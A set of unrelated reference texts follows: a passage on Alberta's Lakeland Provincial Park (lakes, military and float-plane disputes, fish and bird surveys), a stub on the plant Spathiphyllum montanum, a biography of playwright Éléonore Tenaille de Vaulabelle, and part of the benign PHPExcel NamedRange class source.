Snake Lake is less than a quarter section in total area, although significant number of northern pike are found in the lake. There are three competing theories on the origin of the "Snake Lake" name. The first posits that local trappers frequently saw garter snakes on the lakeshore. The second argues that the northern pike in the lake rarely exceeded three to four pounds, and their long sinuous bodies resembled those of snakes. The third theory suggests early visitors to the lake encountered very large leeches, which resembled snakes. The lake is also known as Zig-Zag Lake.
Lakes of Lakeland Provincial Recreation Area
Ironwood Lake is a medium-sized lake in the southeast corner of the recreation area. The name Ironwood is not of local origin. Prior to the official naming of Ironwood in 1951 it was referred to as Rocky Island Lake. Cree names for the lake included Kamistigwapskasik Sagahegan meaning Little Stony Island Lake or Chipay Sagahegan, meaning Skeleton Lake. Nearby Helena, Horne, and Frenchman Lakes empty into Ironwood, which itself empties into Rich Lake and then into the Beaver River. Ironwood Lake is a key point for many spawning fish in the area.
The west, north, and east shores of Ironwood Lake are dominated by large hills, while the southern shore features two large estuaries. The lake water varies significantly in colour and composition throughout the year, ranging from cloudy to clear. The bottom of Ironwood lake also varies significantly, with some sections covered in muddy silt, and others in clean sand or glacial debris. Ironwood is home to perch, northern pike, walleye, burbot, and lake whitefish. There is a boat launch and campground on the south shore.
Lake statistics
Morphometric and hydrological characteristics of waterbodies in the Park and Recreation Area
Summer water characteristic of lakes in the Park and Recreation Area
Controversies and land use conflicts
Lakeland Provincial Park and Recreation Area has been the subject of a number of conflicts with other regional land users.
CFB Cold Lake
One of the largest impediments to the creation of Lakeland Provincial Park and Recreation stemmed from concerns of nearby Canadian Forces Base Cold Lake. During public consultations on the park, base officials expressed concern that complaints over the noise from low-flying jets could jeopardize the operations of CFB Cold Lake. Indeed, military officials resisted the use of the term "park." Major Jim Christie, then the Deputy Base Operations Officer, stated "We would prefer to see it called something other than a park so there is no connotation of peace and quiet that would be disrupted by aircraft activity." In response, the provincial government provided base officials the opportunity to influence where facilities and trails were situated in the park.
The provincial government made a number of other concessions towards the military base. These included:
To inform the public through advertising and promotional material that the area is subject to noise impacts from low flying aircraft.
To respond to noise complaints from park users regarding aircraft operations.
To support the Department of National Defence in not considering any damage claims resulting from sonic booms.
To include a caveat in formal land use agreements and official documents which "clearly states flights at all altitudes are permitted over the Provincial Park and Recreation Area."
To prohibit the construction of any recreational facilities within 1 kilometer of the boundary of the Cold Lake Air Weapons Range.
"To support the Department of National Defence in their policy of prosecution for public trespass" on the weapons range.
Float planes
In the mid-1990s, Lakeland Provincial Park was the site of a unique protest by float plane pilots in Alberta. Pilot Stan Elchuk, of Edmonton, attempted to organize a protest landing of float planes on Jackson and Kinnaird Lakes in June 1996 to bring attention to perceived discriminatory provincial regulations. The pilot felt the province was discriminating against float plane operators because they required special permission to land in the park, while other motorized users, in this case powerboats, were free of regulations. Early management plans for the park had banned all motors in the park, although a provincial government spokesperson did admit the rules were rarely enforced. While the protest did raise public awareness of the issue, it appears no regulations were changed after the incident.
Float planes are allowed on lakes in Lakeland Provincial Recreation Area.
Conservation
Lakeland Provincial Park and Lakeland Provincial Recreation area protect over 200 species of birds, a large number of boreal mammals, and many fish species.
Fish
There are a number of fish species found and documented in the Lakeland area. These include:
Northern pike - Esox lucius. Also known as jackfish, shovelnose, and water wolf. One of the most widely distributed game fish in the area. Northern pike are found in all waterbodies in the Park and Recreation Area, excepting Shaw Lake. The pike prey on smaller fishes in the area, including yellow perch. Pike have also been known to eat rodents and waterfowl. Pike fishing in the area is a popular activity, and Seibert Lake is known to contain "trophy" quality pikes.
Walleye - Stizostedion vitreum. Also known as pickerel, pike-perch, and wall-eye pike. Similar to the pike, the walleye is found in all waterbodies in the Park and Recreation Area, except Shaw Lake. Considered one of the most desirable sport fish in the Boreal region, walleye were over-harvested by commercial fishing and recreational anglers in the 1970s and 1980s. Strict guidelines have helped these populations recover, although fishing limits are still in place.
Yellow perch
Lake whitefish
Cisco
Longnose sucker
White sucker
Spottail shiner
Burbot
Iowa darter
Brook stickleback
Fathead minnow
Lake chub
Distribution of fish by waterbody in Lakeland Provincial Park and Recreation Area
Birds
The Government of Alberta conducted a survey of birds in the park throughout 1993. The report found 153 species of birds to be present on lakes in the park. The report also noted that its list was "not exhaustive" and did not reflect a number of species that were not the focus of the investigation, namely species not residing on major waterbodies.
List of birds found in Lakeland Provincial Park and Recreation Area
Common loon (great northern diver). The common loon arrives in the park during spring breakup, and remains until early October. Loon often make their nests on islands, protected sites on points, or in sheltered bays. Loon exhibit a strong nest fidelity, often returning to the same nest site. Eggs are laid in May and June, and hatch one month later. Young loons are able to fly at approximately 12 weeks. The survey found 250 loons in the park, with the largest numbers on Blackett Lake (23 birds), Dabbs Lake (20 birds), Jackson Lake (20 birds), Kinnaird Lake (29 birds), Pinehurst Lake (38 birds), and Touchwood Lake (48 birds). Touchwood Lake acts as a regional staging area for the loons, and over 500 birds have been observed on the lake in a single day. Loons on Touchwood Lake are often forced to inhabit relatively exposed nest sites, this factor, when combined with summer flocking, makes the loons vulnerable to water-based recreational activities. Loon habitat in the Park and Recreation area is also impacted by backcountry campsites used by hikers and canoeists. Loons in the park also faced pressure from commercial fishing prior to the parks designation. After the park's creation, loons were impacted by the lead weights used in recreational fishing, and waves from powerboats which swamped nests. The Alberta Parks Service recommended that the province protect nesting and rearing areas by restricting access during egg laying and incubation, as well as watercraft restrictions to reduce waves.
Pied-billed grebe. The pied-billed grebe was found in the park throughout summer and fall. This species possibly nests on the large marshes found near Snug Cove on Pinehurst Lake.
Red-necked grebe. The red-necked grebe is a common summer visitor in the Park and Recreation Area. It nests in shallow open water and shoreline beds or bulrushes. The bird nests in the park from May until August. During the 1993 survey, the largest number of birds were found on Ironwood, Pinehurst, Shaw, and Touchwood Lakes. The survey found 814 red-necked grebes in total residing in the Park and Recreation Area. Red-neck grebe nests are susceptible to disturbance by power boats.
Eared grebe. The eared grebe is a rare site in the park, as Lakeland is near the northern edge of the species' range. It is found on small ponds south of both Jackson Lake and Pinehurst Lake.
Western grebe. Like the eared grebe, the western grebe is a rare sight in Lakeland Provincial Park and Recreation Area. Individual birds have been sighted on Touchwood, Pinehurst, Ironwood, and Jackson Lakes, although they may have been visitors from nearby Cold Lake or Lac La Biche, where larger numbers are found. The Lakeland area is at the northern edge of this species' range.
American white pelican. This bird is a frequent summer bird to the park, found on Dabbs, Ironwood, Kinnaird, Jackson, Seibert, Shaw, and Touchwood Lakes. The northeast corner of Pinehurst Lake was found to have the highest concentration of birds. Most of the birds depart the area my late September. The American white pelican is very sensitive to disturbances at nest sites, often resulting in complete abandonment.
Double-crested cormorant. This bird appears more frequently in the Park and Recreation area in the fall. During the summer, individuals have only been sighted on Kinnaird and Pinehurst Lakes. Nearby nesting colonies are found on Lac La Biche and Frog Lake. The double-crested cormorant was once an endangered species in Alberta, although it has since been removed from the endangered species list.
Great blue heron. The great blue heron is a common summer resident in Lakeland Provincial Park and Recreation area, found in most of the lakes and wetlands in the region. Despite common appearances in the area, the 1993 study found only one heron colony on the southeast corner of Pinehurst Lake, with less than 10 active nests in the colony.
Tundra swan. Tundra swans are found in the spring on the lakes in the Park and Recreation Area.
Activities
Facilities can be found at Shaw Lake.
Campground usage is free, and reservations are voluntary in this backcountry camping sites.
canoeing
hiking
birdwatching
ice fishing
camping
cross-country skiing
mountain biking
Hiking and canoeing can be combined in a back country canoe circuit.
See also
List of provincial parks in Alberta
List of Canadian provincial parks
List of National Parks of Canada
References
Lac La Biche County
Parks in Alberta
1992 establishments in Alberta |
Spathiphyllum montanum is a flowering plant of the genus Spathiphyllum in the family Araceae. It is native to Panama and Costa Rica.
References
External links
montanum
Flora of Panama
Flora of Costa Rica
Plants described in 1976 |
Éléonore Tenaille de Vaulabelle (Châtel-Censoir (Yonne) 20 vendémiaire an X – Paris 12 October 1859 ) was a French writer and playwright. He published his novels under the pseudonym Ernest Desprez and all his plays under the name Jules Cordier.
Biography
After he spent his youth in Bourgogne, Éléonore de Vaulabelle moved to Paris at the end of the Bourbon restauration. There he authored articles in several satirical newspapers as well as a daily pamphlet for Le Figaro, where he met Alphonse Karr and George Sand.
He wrote two novels under the pseudonym Ernest Desprez and a fictionalized autobiography: Un enfant. In Les Femmes vengées, he developed a theory inspired from Molière: "Women are what we make of them". Vaulabelle adds, "If women lie it is because we teach them to lie". But he devoted most of his work to theatre under the pseudonym Jules Cordier, most of the time in collaboration with Clairville. Only the collection of short stories Les Jours heureux appeared under his real name.
If he privately adhered to Republican ideas - probably under the influence of his older brother, Achille Tenaille de Vaulabelle, author of Histoire des deux Restaurations and Minister of Education under general Louis-Eugène Cavaignac's presidency in 1848 – in theatre, he expressed his opposition to the regime according to the forms of the time
Works
Theatre
1831: La Tireuse de cartes, melodrama in 3 acts by Ernest Desprez and Jules-Édouard Alboize, music by Obell, Théâtre Molière (9 June) then Théâtre de la Gaîté (13 April 1832) - J.-N. Barba, Paris, 1832
1834: Un enfant, drama in 4 acts by Charles Desnoyer and *** [Vaulabelle], imitated from the novel by Ernest Desprez, Théâtre de la Gaîté (21 June) - Marchant, Paris
1836: Clémentine, comédie-vaudeville in 1 act by Jacques-François Ancelot and J. Cordier, Théâtre du Palais-Royal (7 March) - Marchant, Paris
1838: Les Trois Dimanches, comédie-vaudeville in 3 acts by the Cogniard brothers and J. Cordier, Théâtre du Palais-Royal (19 August) - Marchant, Paris
1838: Contre fortune, bon cœur, comédie-vaudeville in 1 act by J. Cordier, Théâtre du Vaudeville (21 February) - Marchant, Paris, 1839
1840: Le Mari de ma fille, comédie-vaudeville in 1 act by Jacques-François Ancelot and J. Cordier, Théâtre du Vaudeville (25 August) - Marchant, Paris
1841: Les Willis,vaudeville in 1 act by Vaulabelle and Auguste Pittaud de Forges, Théâtre du Palais-Royal (19 October)
1842: Le Mari à l'essai, comédie-vaudeville in 1 act by Jean-François Bayard and J. Cordier, Théâtre du Palais-Royal (4 May) - Beck, Paris
1844: La Polka en province, folie-vaudeville in 1 act by Alexis Decomberousse and J. Cordier, Théâtre du Vaudeville (6 April) - Giroux and Vialat, Saint-Denis-du-Port
1845: La Polka en province, folie-vaudeville in 1 act by A. Decomberousse and J. Cordier - Beck, Paris
1846: Colombe et Perdreau, idylle in 3 acts by Clairville and J. Cordier, Théâtre des Variétés (15 August) - Maistrasse and Wiart, Paris
1846: Les Dieux de l'Olympe à Paris, vaudeville in 6 tableaux by Clairville and J. Cordier, Théâtre du Vaudeville (26 February) - Beck, Paris
1846: La Femme électrique, folie-vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Palais-Royal (9 May) - Marchant, Paris
1847: Éther, magnétisme et hatchis, à-propos-vaudeville in 1 act by Clairville and J. Cordier, Théâtre des Variétés (4 April) - Tresse, Paris, 1846
1848: Ah ! enfin ! pièce d'ouverture in 3 acts and 2 intermission by Clairville, J. Cordier and Léon Dumoustier, Théâtre du Vaudeville (29 April) - Beck, Paris
1848: L'Avenir dans le passé ou les Succès au paradis, à-propos-vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Vaudeville (30 September) - Beck, Paris
1848: Le Club des maris et le Club des femmes, vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Vaudeville (4 June) - Beck, Paris
1848: Les Filles de la liberté, à-propos-vaudeville in 1 act, by Clairville and J. Cordier, thTâtre du Gymnase-Dramatique (14 March) - Beck, Paris
1848: Les Parades de nos pères, folie in 3 tableaux from ancient parades by Dumanoir, Clairville and J. Cordier, Théâtre Montansier (6 October) - G. Olivier, Paris
1848: La Tireuse de cartes, vaudeville in 1 act by Clairville and J. Cordier, Théâtre des Variétés (9 January) - Beck, Paris
1848: Un petit de la mobile, comédie-vaudeville in 2 acts by Clairville and J. Cordier, Théâtre des Variétés (7 August) - Beck, Paris
1849: Daphnis et Chloé, vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Vaudeville (23 November) - Beck, Paris
1849: Les Grenouilles qui demandent un roi, vaudeville in 1 act by Clairville, Arthur de Beauplan and J. Cordier, Théâtre du Gymnase (26 February) - Beck, Paris
1849: Les Partageux, vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Gymnase-Dramatique (17 November) - Beck, Paris
1848: La Propriété, c'est le vol, folie-socialiste in 3 acts and 7 tableaux by Clairville and J. Cordier, Théâtre du Vaudeville (28 November) - Beck, Paris, 1849
1849: Les Représentants en vacances, comédie vaudeville in 3 acts by Clairville and J. Cordier, Théâtre du Gymnase-Dramatique (15 September) - Beck, Paris
1849: Une semaine à Londres ou les Trains de plaisirs, folie-vaudeville extravaganza in 3 acts and 11 tableaux by Clairville and J. Cordier, music by Victor Chéri, Théâtre du Vaudeville (9 August) - Beck, Paris ; new version, Théâtre des Variétés, 23 June 1862 - Dentu, Paris
1850: L'Alchimiste ou le Train de plaisir pour la Californie, vaudeville in 3 acts by Clairville and J. Cordier, Théâtre des Variétés (8 August) - Beck, Paris
1850: Le Bourgeois de Paris ou les Leçons au Pouvoir, comédie-vaudeville in 3 acts and 6 tableaux, Théâtre du Gymnase-Dramatique (15 June) - Dondey-Dupré, Paris
1850: C'en était un ! pochade in 1 act, mingled with couplets by Clairville and J. Cordier, Théâtre Montansier (31 May) - Beck, Paris
1849: Paris sans impôts, vaudeville in 3 acts and 6 tableaux by Clairville and J. Cordier, Théâtre du Vaudeville (28 December) - Beck, Paris, 1850
1850: Les Tentations d'Antoinette, vaudeville in 5 acts by Clairville and J. Cordier, Théâtre du Gymnase (29 November) - Beck, Paris
1850: Les Secrets du diable, féerie-vaudeville in 2 acts, extravaganza by Clairville and J. Cordier, Théâtre du Vaudeville (23 February) - Beck, Paris
1851: Le Duel au baiser, comedy mingled with couplets in 1 act by Clairville and J. Cordier, Théâtre Montansier (17 June) - Beck, Paris
1851: La Dot de Marie, comédie-vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Gymnase (18 January) - D. Giraud and J. Dagneau, Paris
1850: Le Journal pour rire, revue in 1 act and 3 tableaux by Clairville and J. Cordier, Théâtre de la Porte-Saint-Martin (25 December) - Beck, Paris, 1851
1851: Le Palais de cristal ou les Parisiens à Londres, grande revue on the occasion of The Great Exhibition, Théâtre de la Porte-Saint-Martin (26 May) - Beck, Paris
1852: Les Compagnons d'Ulysse, vaudeville in 1 act and 2 tableaux by Clairville and J. Cordier, Théâtre du Vaudeville (5 July) - Beck, Paris
1852: La Maîtresse d'été et la Maîtresse d'hiver, comédie-vaudeville in 3 acts by Clairville and J. Cordier, Théâtre du Vaudeville (29 May) - Beck, Paris
1852: La Mère Moreau, « débit de chinois, mêlé de prunes et de couplets », pochade in 1 act by Clairville and J. Cordier, Théâtre du Palais-Royal (1 August) - Beck, Paris
1852: La Queue du diable, vaudeville fantastique in 3 acts by Clairville and J. Cordier, Théâtre de la Porte-Saint-Martin (29 July) - Beck, Paris
1851: La Vénus à la fraise, folie in 1 act mingled with couplets by Clairville and J. Cordier, Théâtre du Palais-Royal (31 December) - Beck, Paris, 1852
1852: Les Abeilles et les Violettes, revue extravaganza in 6 tableaux by Clairville and J. Cordier, Théâtre du Vaudeville (28 December) - Beck, Paris, 1853 (read Online)
1853: Le Baromètre des amours, comédie-vaudeville in 5 acts, by Clairville and J. Cordier, Théâtre du Vaudeville (11 January) - Beck, Paris
1853: Cadet-Roussel, Dumollet, Gribouille et Cie, bambochade in 3 acts, preceded with a prologue in verses, Théâtre des Folies-Dramatiques (15 June) - Beck, Paris ; rééd. Tresse, Paris, 1860
1853: L'Esprit frappeur ou les Sept Merveilles du jour, comédie-vaudeville in 1 act by Clairville and J. Cordier, music by Sylvain Mangeant, Théâtre du Palais-Royal (17 December) - Beck, Paris
1853: Fraichement décorée, à-propos-vaudeville in 1 act by Clairville and J. Cordier, Théâtre du Palais-Royal (25 June) - Beck, Paris
1853: La Vie à bon marché, vaudeville in 1 act by Clairville, J. Cordier and Louis Couailhac, Théâtre du Vaudeville (5 April) - Beck, Paris
1854: Les Contes de la Mère l'oie, grande féerie in 5 acts and 22 tableaux by Clairville and J. Cordier, Théâtre de l'Ambigu-Comique (20 May) - Beck, Paris
1854: Mesdames les pirates, vaudeville extravaganza by Clairville and J. Cordier, Théâtre du Vaudeville (25 February) - Beck, Paris
1854: La Mort de Pompée, comédie-vaudeville in 3 acts by J. Cordier, Théâtre du Palais-Royal (18 July) - J. Dagneau, Paris
1855: Les Binettes contemporaines, revue in 3 acts and 7 tableaux by Clairville and J. Cordier, Théâtre du Palais-Royal (23 December) - Beck, Paris
1858: Un dîner et des égards, comédie-vaudeville in 1 act by J. Cordier and Léon Dumoustier, Théâtre du Palais-Royal (13 June) - Michel-Lévy frères, Paris
1858: Une dame pour voyager, vaudeville in 1 act by J. Cordier, Théâtre des Variétés (31 May) - Michel-Lévy frères, Paris
1859: Le Banquet des Barbettes, comédie-vaudeville in 2 acts by Clairville and J. Cordier, Théâtre du Palais-Royal (17 June) - Beck, Paris
1866 (posthumous): Daphnis et Chloé, opéra-bouffe in 1 act by Clairville and J. Cordier, music by Jacques Offenbach, Théâtre des Bouffes-Parisiens (6 October) - Beck, Paris
Novels and other texts
Épître à Sidi Mahmoud... after Quérard, with Jules Méry, Ladvocat, Paris, 1825
L'Étang de Varzy (short story) in Journal des enfans, Everat, Paris, 1832-1833 (Read Online)
Le Troc des âges (tale) in Journal des enfans, Everat, Paris, 1832-1833 (Read Online)
Les Grisettes à Paris, Ladvocat, Paris, 1832 (Read Online) ; rééd. la Première Heure, Marseille, 2007
Le dimanche à Paris, Nouveau tableau de Paris au XIX me siècle, tome deuxième, Librairie de Madame Charles-Béchet, Paris, 1834 (Read Online)
Les Jours heureux, contes et morale à l'usage des enfans des deux sexes, Dumont, Paris, 1836 (Read Online)
under the pseudonym Ernest Desprez
Une seconde famille (nouvelle) in Journal des enfans, Everat, Paris, 1832-1833
Un enfant (roman), 3 vol., C. Gosselin, Paris, 1833 (Read Online)
Les Femmes vengées (roman), 2 vol., A. Ledoux, Paris, 1834
Le Fils de Claire d'Albe (nouvelle) dans Le Sachet, Poulton, Paris, 1835
under the pseudonyme de C. de Saint-Estève
M. de Similor en Californie, A. Courcier, Paris, 1856 (2e éd.)
Arbre généalogique
Bibliography
Frédéric de Berthier de Grandry, La Famille d’Achille Tenaille de Vaulabelle (1799-1879), un ministre pionnier de l’Education nationale, préface de Jean-Pierre Soisson, Paris, 1998–2004, ()
Philibert Audebrand, « Le Journal au théâtre », Petits mémoires d'une stalle d'orchestre : acteurs, actrices, auteurs, journalistes, Paris, Jules Lévy libraire-éditeur, 1885, .
« Éléonore Tenaille de Vaulabelle », Biographie universelle ancienne et moderne, t.|95, Beck, 1862, .
References
19th-century French dramatists and playwrights
19th-century French journalists
French male journalists
People from Yonne
1801 births
1859 deaths
19th-century French male writers |
```php
<?php
/**
* PHPExcel
*
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*
* You should have received a copy of the GNU Lesser General Public
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category PHPExcel
* @package PHPExcel
* @license path_to_url LGPL
* @version ##VERSION##, ##DATE##
*/
/**
* PHPExcel_NamedRange
*
* @category PHPExcel
* @package PHPExcel
*/
class PHPExcel_NamedRange
{
/**
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*
* @var string
*/
private $_name;
/**
* Worksheet on which the named range can be resolved
*
* @var PHPExcel_Worksheet
*/
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/**
* Range of the referenced cells
*
* @var string
*/
private $_range;
/**
* Is the named range local? (i.e. can only be used on $this->_worksheet)
*
* @var bool
*/
private $_localOnly;
/**
* Scope
*
* @var PHPExcel_Worksheet
*/
private $_scope;
/**
* Create a new NamedRange
*
* @param string $pName
* @param PHPExcel_Worksheet $pWorksheet
* @param string $pRange
* @param bool $pLocalOnly
* @param PHPExcel_Worksheet|null $pScope Scope. Only applies when $pLocalOnly = true. Null for global scope.
* @throws PHPExcel_Exception
*/
public function __construct($pName = null, PHPExcel_Worksheet $pWorksheet, $pRange = 'A1', $pLocalOnly = false, $pScope = null)
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$this->_name = $pName;
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(($pScope == null) ? $pWorksheet : $pScope) : null;
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/**
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*/
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if ($this->_worksheet !== NULL) {
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if ($this->_worksheet !== NULL) {
$this->_worksheet->getParent()->addNamedRange($this);
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// New title
$newTitle = $this->_name;
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}
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}
/**
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*
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*/
public function getWorksheet() {
return $this->_worksheet;
}
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*
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* @return PHPExcel_NamedRange
*/
public function setWorksheet(PHPExcel_Worksheet $value = null) {
if ($value !== NULL) {
$this->_worksheet = $value;
}
return $this;
}
/**
* Get range
*
* @return string
*/
public function getRange() {
return $this->_range;
}
/**
* Set range
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* @param string $value
* @return PHPExcel_NamedRange
*/
public function setRange($value = null) {
if ($value !== NULL) {
$this->_range = $value;
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/**
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*
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*/
public function getLocalOnly() {
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/**
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*/
public function setScope(PHPExcel_Worksheet $value = null) {
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$this->_localOnly = ($value == null) ? false : true;
return $this;
}
/**
* Resolve a named range to a regular cell range
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* @param PHPExcel_Worksheet|null $pSheet Scope. Use null for global scope
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``` |
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